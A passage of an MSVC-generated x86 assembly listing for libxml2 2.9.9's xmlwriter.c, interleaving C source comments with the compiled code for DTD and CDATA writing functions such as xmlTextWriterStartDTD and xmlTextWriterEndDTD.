DWORD PTR _xmlMalloc mov ebx, eax add esp, 4 ; 3192 : xmlMalloc(sizeof(xmlTextWriterStackEntry)); ; 3193 : if (p == 0) { test ebx, ebx jne SHORT $LN14@xmlTextWri ; 3194 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ push 2 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 3225 : ; 3226 : return sum; ; 3227 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN14@xmlTextWri: ; 3195 : "xmlTextWriterStartDTDElement : out of memory!\n"); ; 3196 : return -1; ; 3197 : } ; 3198 : ; 3199 : p->name = xmlStrdup(name); push DWORD PTR _name$[ebp] call _xmlStrdup add esp, 4 mov DWORD PTR [ebx], eax ; 3200 : if (p->name == 0) { test eax, eax jne SHORT $LN15@xmlTextWri ; 3201 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ push 2 push esi call _xmlWriterErrMsg ; 3202 : "xmlTextWriterStartDTDElement : out of memory!\n"); ; 3203 : xmlFree(p); push ebx call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 3225 : ; 3226 : return sum; ; 3227 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN15@xmlTextWri: ; 3204 : return -1; ; 3205 : } ; 3206 : p->state = XML_TEXTWRITER_DTD_ELEM; mov DWORD PTR [ebx+4], 9 ; 3207 : ; 3208 : xmlListPushFront(writer->nodes, p); push ebx push DWORD PTR [esi+4] call _xmlListPushFront add esp, 8 ; 3209 : ; 3210 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN16@xmlTextWri ; 3211 : count = xmlTextWriterWriteIndent(writer); push esi call _xmlTextWriterWriteIndent add esp, 4 ; 3212 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3213 : return -1; ; 3214 : sum += count; add edi, eax $LN16@xmlTextWri: ; 3215 : } ; 3216 : ; 3217 : count = xmlOutputBufferWriteString(writer->out, "<!ELEMENT "); push OFFSET ??_C@_0L@EMLMHHFJ@?$DM?$CBELEMENT?5@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3218 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3219 : return -1; ; 3220 : sum += count; ; 3221 : count = xmlOutputBufferWriteString(writer->out, (const char *) name); push DWORD PTR _name$[ebp] add edi, eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3222 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 3223 : return -1; ; 3224 : sum += count; add eax, edi pop edi ; 3225 : ; 3226 : return sum; ; 3227 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterStartDTDElement ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDTD _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _pubid$ = 16 ; size = 4 _sysid$ = 20 ; size = 4 _subset$ = 24 ; size = 4 _xmlTextWriterWriteDTD PROC ; COMDAT ; 3118 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _sysid$[ebp] mov edi, DWORD PTR _writer$[ebp] push DWORD PTR _pubid$[ebp] push DWORD PTR _name$[ebp] push edi call _xmlTextWriterStartDTD mov esi, eax add esp, 16 ; 00000010H cmp esi, -1 je SHORT $LN7@xmlTextWri ; 3119 : int count; ; 3120 : int sum; ; 3121 : ; 3122 : sum = 0; ; 3123 : count = xmlTextWriterStartDTD(writer, name, pubid, sysid); ; 3124 : if (count == -1) ; 3125 : return -1; ; 3126 : sum += count; ; 3127 : if (subset != 0) { mov eax, DWORD PTR _subset$[ebp] test eax, eax je SHORT $LN3@xmlTextWri ; 3128 : count = xmlTextWriterWriteString(writer, subset); push eax push edi call _xmlTextWriterWriteString add esp, 8 ; 3129 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 3130 : return -1; ; 3131 : sum += count; add esi, eax $LN3@xmlTextWri: ; 3132 : } ; 3133 : count = xmlTextWriterEndDTD(writer); push edi call _xmlTextWriterEndDTD add esp, 4 ; 3134 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 3136 : sum += count; pop edi add eax, esi ; 3137 : ; 3138 : return sum; ; 3139 : } pop esi pop ebp ret 0 $LN7@xmlTextWri: pop edi ; 3135 : return -1; or eax, -1 ; 3137 : ; 3138 : return sum; ; 3139 : } pop esi pop ebp ret 0 _xmlTextWriterWriteDTD ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatDTD _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _pubid$ = 16 ; size = 4 _sysid$ = 20 ; size = 4 _format$ = 24 ; size = 4 _argptr$ = 28 ; size = 4 _xmlTextWriterWriteVFormatDTD PROC ; COMDAT ; 3084 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 3085 : int rc; ; 3086 : xmlChar *buf; ; 3087 : ; 3088 : if (writer == NULL) ; 3089 : return -1; ; 3090 : ; 3091 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 3092 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 3094 : ; 3095 : rc = xmlTextWriterWriteDTD(writer, name, pubid, sysid, buf); push edi push DWORD PTR _sysid$[ebp] push DWORD PTR _pubid$[ebp] push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteDTD ; 3096 : ; 3097 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 24 ; 00000018H ; 3098 : return rc; mov eax, esi pop edi ; 3099 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 3093 : return -1; or eax, -1 ; 3099 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatDTD ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatDTD _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _pubid$ = 16 ; size = 4 _sysid$ = 20 ; size = 4 _format$ = 24 ; size = 4 _xmlTextWriterWriteFormatDTD PROC ; COMDAT ; 3052 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 3088 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 3053 : int rc; ; 3054 : va_list ap; ; 3055 : ; 3056 : va_start(ap, format); ; 3057 : ; 3058 : rc = xmlTextWriterWriteVFormatDTD(writer, name, pubid, sysid, format, ; 3059 : ap); ; 3060 : ; 3061 : va_end(ap); ; 3062 : return rc; or eax, -1 pop esi ; 3063 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 3091 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 3092 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 3053 : int rc; ; 3054 : va_list ap; ; 3055 : ; 3056 : va_start(ap, format); ; 3057 : ; 3058 : rc = xmlTextWriterWriteVFormatDTD(writer, name, pubid, sysid, format, ; 3059 : ap); ; 3060 : ; 3061 : va_end(ap); ; 3062 : return rc; pop edi or eax, -1 pop esi ; 3063 : } pop ebp ret 0 $LN5@xmlTextWri: ; 3095 : rc = xmlTextWriterWriteDTD(writer, name, pubid, sysid, buf); push edi push DWORD PTR _sysid$[ebp] push DWORD PTR _pubid$[ebp] push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteDTD ; 3096 : ; 3097 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 24 ; 00000018H ; 3053 : int rc; ; 3054 : va_list ap; ; 3055 : ; 3056 : va_start(ap, format); ; 3057 : ; 3058 : rc = xmlTextWriterWriteVFormatDTD(writer, name, pubid, sysid, format, ; 3059 : ap); ; 3060 : ; 3061 : va_end(ap); ; 3062 : return rc; mov eax, esi pop edi pop esi ; 3063 : } pop ebp ret 0 _xmlTextWriterWriteFormatDTD ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndDTD _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndDTD PROC ; COMDAT ; 2967 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je $LN27@xmlTextWri ; 2968 : int loop; ; 2969 : int count; ; 2970 : int sum; ; 2971 : xmlLinkPtr lk; ; 2972 : xmlTextWriterStackEntry *p; ; 2973 : ; 2974 : if (writer == NULL) ; 2975 : return -1; ; 2976 : ; 2977 : sum = 0; xor ebx, ebx npad 3 $LL2@xmlTextWri: ; 2978 : loop = 1; ; 2979 : while (loop) { ; 2980 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 2981 : if (lk == NULL) test eax, eax je $LN3@xmlTextWri ; 2982 : break; ; 2983 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 2984 : if (p == 0) test eax, eax je $LN3@xmlTextWri ; 2985 : break; ; 2986 : switch (p->state) { mov eax, DWORD PTR [eax+4] add eax, -7 ; fffffff9H cmp eax, 9 ja $LN3@xmlTextWri jmp DWORD PTR $LN35@xmlTextWri[eax*4] $LN9@xmlTextWri: ; 2987 : case XML_TEXTWRITER_DTD_TEXT: ; 2988 : count = xmlOutputBufferWriteString(writer->out, "]"); push OFFSET ??_C@_01LBDDMOBJ@?$FN@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 2989 : if (count < 0) test eax, eax js SHORT $LN27@xmlTextWri ; 2990 : return -1; ; 2991 : sum += count; add ebx, eax $LN11@xmlTextWri: ; 2992 : /* fallthrough */ ; 2993 : case XML_TEXTWRITER_DTD: ; 2994 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 mov edi, eax ; 2995 : ; 2996 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN12@xmlTextWri ; 2997 : if (count < 0) test edi, edi js SHORT $LN27@xmlTextWri ; 2998 : return -1; ; 2999 : sum += count; ; 3000 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] add ebx, edi call _xmlOutputBufferWriteString add esp, 8 mov edi, eax $LN12@xmlTextWri: ; 3001 : } ; 3002 : ; 3003 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront ; 3004 : break; jmp SHORT $LN32@xmlTextWri $LN14@xmlTextWri: ; 3005 : case XML_TEXTWRITER_DTD_ELEM: ; 3006 : case XML_TEXTWRITER_DTD_ELEM_TEXT: ; 3007 : count = xmlTextWriterEndDTDElement(writer); push esi call _xmlTextWriterEndDTDElement ; 3008 : break; jmp SHORT $LN33@xmlTextWri $LN15@xmlTextWri: ; 3009 : case XML_TEXTWRITER_DTD_ATTL: ; 3010 : case XML_TEXTWRITER_DTD_ATTL_TEXT: ; 3011 : count = xmlTextWriterEndDTDAttlist(writer); push esi call _xmlTextWriterEndDTDAttlist ; 3012 : break; jmp SHORT $LN33@xmlTextWri $LN16@xmlTextWri: ; 3013 : case XML_TEXTWRITER_DTD_ENTY: ; 3014 : case XML_TEXTWRITER_DTD_PENT: ; 3015 : case XML_TEXTWRITER_DTD_ENTY_TEXT: ; 3016 : count = xmlTextWriterEndDTDEntity(writer); push esi call _xmlTextWriterEndDTDEntity ; 3017 : break; jmp SHORT $LN33@xmlTextWri $LN17@xmlTextWri: ; 3018 : case XML_TEXTWRITER_COMMENT: ; 3019 : count = xmlTextWriterEndComment(writer); push esi call _xmlTextWriterEndComment $LN33@xmlTextWri: ; 3020 : break; ; 3021 : default: ; 3022 : loop = 0; ; 3023 : continue; ; 3024 : } ; 3025 : ; 3026 : if (count < 0) mov edi, eax $LN32@xmlTextWri: add esp, 4 test edi, edi js SHORT $LN27@xmlTextWri ; 3027 : return -1; ; 3028 : sum += count; add ebx, edi jmp $LL2@xmlTextWri $LN3@xmlTextWri: pop edi ; 3029 : } ; 3030 : ; 3031 : return sum; ; 3032 : } pop esi mov eax, ebx pop ebx pop ebp ret 0 $LN27@xmlTextWri: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 $LN35@xmlTextWri: DD $LN11@xmlTextWri DD $LN9@xmlTextWri DD $LN14@xmlTextWri DD $LN14@xmlTextWri DD $LN15@xmlTextWri DD $LN15@xmlTextWri DD $LN16@xmlTextWri DD $LN16@xmlTextWri DD $LN16@xmlTextWri DD $LN17@xmlTextWri _xmlTextWriterEndDTD ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartDTD _TEXT SEGMENT tv451 = 8 ; size = 4 _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _pubid$ = 16 ; size = 4 _sysid$ = 20 ; size = 4 _xmlTextWriterStartDTD PROC ; COMDAT ; 2832 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN3@xmlTextWri ; 2833 : int count; ; 2834 : int sum; ; 2835 : xmlLinkPtr lk; ; 2836 : xmlTextWriterStackEntry *p; ; 2837 : ; 2838 : if (writer == NULL || name == NULL || *name == '\0') mov ebx, DWORD PTR _name$[ebp] test ebx, ebx je SHORT $LN3@xmlTextWri cmp BYTE PTR [ebx], 0 je SHORT $LN3@xmlTextWri ; 2839 : return -1; ; 2840 : ; 2841 : sum = 0; ; 2842 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 2843 : if ((lk != NULL) && (xmlLinkGetData(lk) != NULL)) { test eax, eax je SHORT $LN4@xmlTextWri push eax call _xmlLinkGetData add esp, 4 test eax, eax je SHORT $LN4@xmlTextWri ; 2844 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0DF@KCNCPLNC@xmlTextWriterStartDTD?5?3?5DTD?5all@ ; 2955 : } push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH $LN3@xmlTextWri: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 $LN4@xmlTextWri: ; 2845 : "xmlTextWriterStartDTD : DTD allowed only in prolog!\n"); ; 2846 : return -1; ; 2847 : } ; 2848 : ; 2849 : p = (xmlTextWriterStackEntry *) push 8 call DWORD PTR _xmlMalloc mov edi, eax add esp, 4 ; 2850 : xmlMalloc(sizeof(xmlTextWriterStackEntry)); ; 2851 : if (p == 0) { test edi, edi jne SHORT $LN5@xmlTextWri ; 2852 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@ push 2 ; 2955 : } push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN5@xmlTextWri: ; 2853 : "xmlTextWriterStartDTD : out of memory!\n"); ; 2854 : return -1; ; 2855 : } ; 2856 : ; 2857 : p->name = xmlStrdup(name); push ebx call _xmlStrdup add esp, 4 mov DWORD PTR [edi], eax ; 2858 : if (p->name == 0) { test eax, eax jne SHORT $LN6@xmlTextWri ; 2859 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@ push 2 push esi call _xmlWriterErrMsg ; 2860 : "xmlTextWriterStartDTD : out of memory!\n"); ; 2861 : xmlFree(p); push edi call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 2955 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN6@xmlTextWri: ; 2862 : return -1; ; 2863 : } ; 2864 : p->state = XML_TEXTWRITER_DTD; mov DWORD PTR [edi+4], 7 ; 2865 : ; 2866 : xmlListPushFront(writer->nodes, p); push edi push DWORD PTR [esi+4] call _xmlListPushFront ; 2867 : ; 2868 : count = xmlOutputBufferWriteString(writer->out, "<!DOCTYPE "); push OFFSET ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 16 ; 00000010H ; 2869 : if (count < 0) test edi, edi js $LN3@xmlTextWri ; 2870 : return -1; ; 2871 : sum += count; ; 2872 : count = xmlOutputBufferWriteString(writer->out, (const char *) name); push ebx push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 2873 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2874 : return -1; ; 2875 : sum += count; ; 2876 : ; 2877 : if (pubid != 0) { mov ebx, DWORD PTR _pubid$[ebp] add edi, eax mov eax, DWORD PTR _sysid$[ebp] mov edx, OFFSET ??_C@_01CLKCMJKC@?5@ mov ecx, OFFSET ??_C@_01EEMJAFIK@?6@ test ebx, ebx je $LN9@xmlTextWri ; 2878 : if (sysid == 0) { test eax, eax jne SHORT $LN10@xmlTextWri ; 2879 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0DD@KKKOOJH@xmlTextWriterStartDTD?5?3?5system?5@ ; 2955 : } push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN10@xmlTextWri: ; 2880 : "xmlTextWriterStartDTD : system identifier needed!\n"); ; 2881 : return -1; ; 2882 : } ; 2883 : ; 2884 : if (writer->indent) ; 2885 : count = xmlOutputBufferWrite(writer->out, 1, "\n"); ; 2886 : else ; 2887 : count = xmlOutputBufferWrite(writer->out, 1, " "); ; 2888 : if (count < 0) cmp DWORD PTR [esi+16], 0 mov eax, edx cmovne eax, ecx push eax push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH mov DWORD PTR tv451[ebp], eax test eax, eax js $LN3@xmlTextWri ; 2889 : return -1; ; 2890 : sum += count; ; 2891 : ; 2892 : count = xmlOutputBufferWriteString(writer->out, "PUBLIC "); push OFFSET ??_C@_07GAMBALOD@PUBLIC?5@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 2893 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2894 : return -1; ; 2895 : sum += count; add eax, DWORD PTR tv451[ebp] add edi, eax ; 2896 : ; 2897 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea eax, DWORD PTR [esi+28] push eax push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 2898 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2899 : return -1; ; 2900 : sum += count; ; 2901 : ; 2902 : count = push ebx push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWriteString add esp, 8 ; 2903 : xmlOutputBufferWriteString(writer->out, (const char *) pubid); ; 2904 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2905 : return -1; ; 2906 : sum += count; add edi, eax ; 2907 : ; 2908 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea eax, DWORD PTR [esi+28] push eax push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 2909 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2910 : return -1; ; 2911 : sum += count; add edi, eax mov edx, OFFSET ??_C@_01CLKCMJKC@?5@ mov eax, DWORD PTR _sysid$[ebp] $LN9@xmlTextWri: ; 2912 : } ; 2913 : ; 2914 : if (sysid != 0) { test eax, eax je $LN18@xmlTextWri ; 2915 : if (pubid == 0) { mov ecx, DWORD PTR [esi+16] mov eax, DWORD PTR [esi] test ebx, ebx jne SHORT $LN19@xmlTextWri ; 2916 : if (writer->indent) ; 2917 : count = xmlOutputBufferWrite(writer->out, 1, "\n"); ; 2918 : else ; 2919 : count = xmlOutputBufferWrite(writer->out, 1, " "); ; 2920 : if (count < 0) test ecx, ecx mov ecx, OFFSET ??_C@_01EEMJAFIK@?6@ cmovne edx, ecx push edx push 1 push eax call _xmlOutputBufferWrite mov ebx, eax add esp, 12 ; 0000000cH test ebx, ebx js $LN3@xmlTextWri ; 2921 : return -1; ; 2922 : sum += count; ; 2923 : count = xmlOutputBufferWriteString(writer->out, "SYSTEM "); push OFFSET ??_C@_07PBLMPJLL@SYSTEM?5@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 2924 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2925 : return -1; ; 2926 : sum += count; add eax, ebx ; 2927 : } else { jmp SHORT $LN20@xmlTextWri $LN19@xmlTextWri: ; 2928 : if (writer->indent) test ecx, ecx je SHORT $LN25@xmlTextWri ; 2929 : count = xmlOutputBufferWriteString(writer->out, "\n "); push OFFSET ??_C@_08HBIFNNEL@?6?5?5?5?5?5?5?5@ push eax call _xmlOutputBufferWriteString add esp, 8 jmp SHORT $LN26@xmlTextWri $LN25@xmlTextWri: ; 2930 : else ; 2931 : count = xmlOutputBufferWrite(writer->out, 1, " "); push OFFSET ??_C@_01CLKCMJKC@?5@ push 1 push eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH $LN26@xmlTextWri: ; 2932 : if (count < 0) test eax, eax js $LN3@xmlTextWri $LN20@xmlTextWri: ; 2933 : return -1; ; 2934 : sum += count; ; 2935 : } ; 2936 : ; 2937 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea ebx, DWORD PTR [esi+28] add edi, eax push ebx push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 2938 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2939 : return -1; ; 2940 : sum += count; ; 2941 : ; 2942 : count = push DWORD PTR _sysid$[ebp] add edi, eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 2943 : xmlOutputBufferWriteString(writer->out, (const char *) sysid); ; 2944 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2945 : return -1; ; 2946 : sum += count; ; 2947 : ; 2948 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 2949 : if (count < 0) test eax, eax js $LN3@xmlTextWri ; 2950 : return -1; ; 2951 : sum += count; add edi, eax $LN18@xmlTextWri: ; 2952 : } ; 2953 : ; 2954 : return sum; mov eax, edi pop edi ; 2955 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterStartDTD ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteCDATA _TEXT SEGMENT _writer$ = 8 ; size = 4 _content$ = 12 ; size = 4 _xmlTextWriterWriteCDATA PROC ; COMDAT ; 2794 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _writer$[ebp] push edi call _xmlTextWriterStartCDATA mov esi, eax add esp, 4 cmp esi, -1 je SHORT $LN7@xmlTextWri ; 2795 : int count; ; 2796 : int sum; ; 2797 : ; 2798 : sum = 0; ; 2799 : count = xmlTextWriterStartCDATA(writer); ; 2800 : if (count == -1) ; 2801 : return -1; ; 2802 : sum += count; ; 2803 : if (content != 0) { mov eax, DWORD PTR _content$[ebp] test eax, eax je SHORT $LN3@xmlTextWri ; 2804 : count = xmlTextWriterWriteString(writer, content); push eax push edi call _xmlTextWriterWriteString add esp, 8 ; 2805 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 2806 : return -1; ; 2807 : sum += count; add esi, eax $LN3@xmlTextWri: ; 2808 : } ; 2809 : count = xmlTextWriterEndCDATA(writer); push edi call _xmlTextWriterEndCDATA add esp, 4 ; 2810 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 2812 : sum += count; pop edi add eax, esi ; 2813 : ; 2814 : return sum; ; 2815 : } pop esi pop ebp ret 0 $LN7@xmlTextWri: pop edi ; 2811 : return -1; or eax, -1 ; 2813 : ; 2814 : return sum; ; 2815 : } pop esi pop ebp ret 0 _xmlTextWriterWriteCDATA ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatCDATA _TEXT SEGMENT _writer$ = 8 ; size = 4 _format$ = 12 ; size = 4 _argptr$ = 16 ; size = 4 _xmlTextWriterWriteVFormatCDATA PROC ; COMDAT ; 2766 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 2767 : int rc; ; 2768 : xmlChar *buf; ; 2769 : ; 2770 : if (writer == NULL) ; 2771 : return -1; ; 2772 : ; 2773 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2774 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 2776 : ; 2777 : rc = xmlTextWriterWriteCDATA(writer, buf); push edi push esi call _xmlTextWriterWriteCDATA ; 2778 : ; 2779 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 12 ; 0000000cH ; 2780 : return rc; mov eax, esi pop edi ; 2781 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 2775 : return -1; or eax, -1 ; 2781 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatCDATA ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatCDATA _TEXT SEGMENT _writer$ = 8 ; size = 4 _format$ = 12 ; size = 4 _xmlTextWriterWriteFormatCDATA PROC ; COMDAT ; 2741 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 2770 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 2742 : int rc; ; 2743 : va_list ap; ; 2744 : ; 2745 : va_start(ap, format); ; 2746 : ; 2747 : rc = xmlTextWriterWriteVFormatCDATA(writer, format, ap); ; 2748 : ; 2749 : va_end(ap); ; 2750 : return rc; or eax, -1 pop esi ; 2751 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 2773 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2774 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 2742 : int rc; ; 2743 : va_list ap; ; 2744 : ; 2745 : va_start(ap, format); ; 2746 : ; 2747 : rc = xmlTextWriterWriteVFormatCDATA(writer, format, ap); ; 2748 : ; 2749 : va_end(ap); ; 2750 : return rc; pop edi or eax, -1 pop esi ; 2751 : } pop ebp ret 0 $LN5@xmlTextWri: ; 2777 : rc = xmlTextWriterWriteCDATA(writer, buf); push edi push esi call _xmlTextWriterWriteCDATA ; 2778 : ; 2779 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 12 ; 0000000cH ; 2742 : int rc; ; 2743 : va_list ap; ; 2744 : ; 2745 : va_start(ap, format); ; 2746 : ; 2747 : rc = xmlTextWriterWriteVFormatCDATA(writer, format, ap); ; 2748 : ; 2749 : va_end(ap); ; 2750 : return rc; mov eax, esi pop edi pop esi ; 2751 : } pop ebp ret 0 _xmlTextWriterWriteFormatCDATA ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndCDATA _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndCDATA PROC ; COMDAT ; 2695 : { push ebp mov 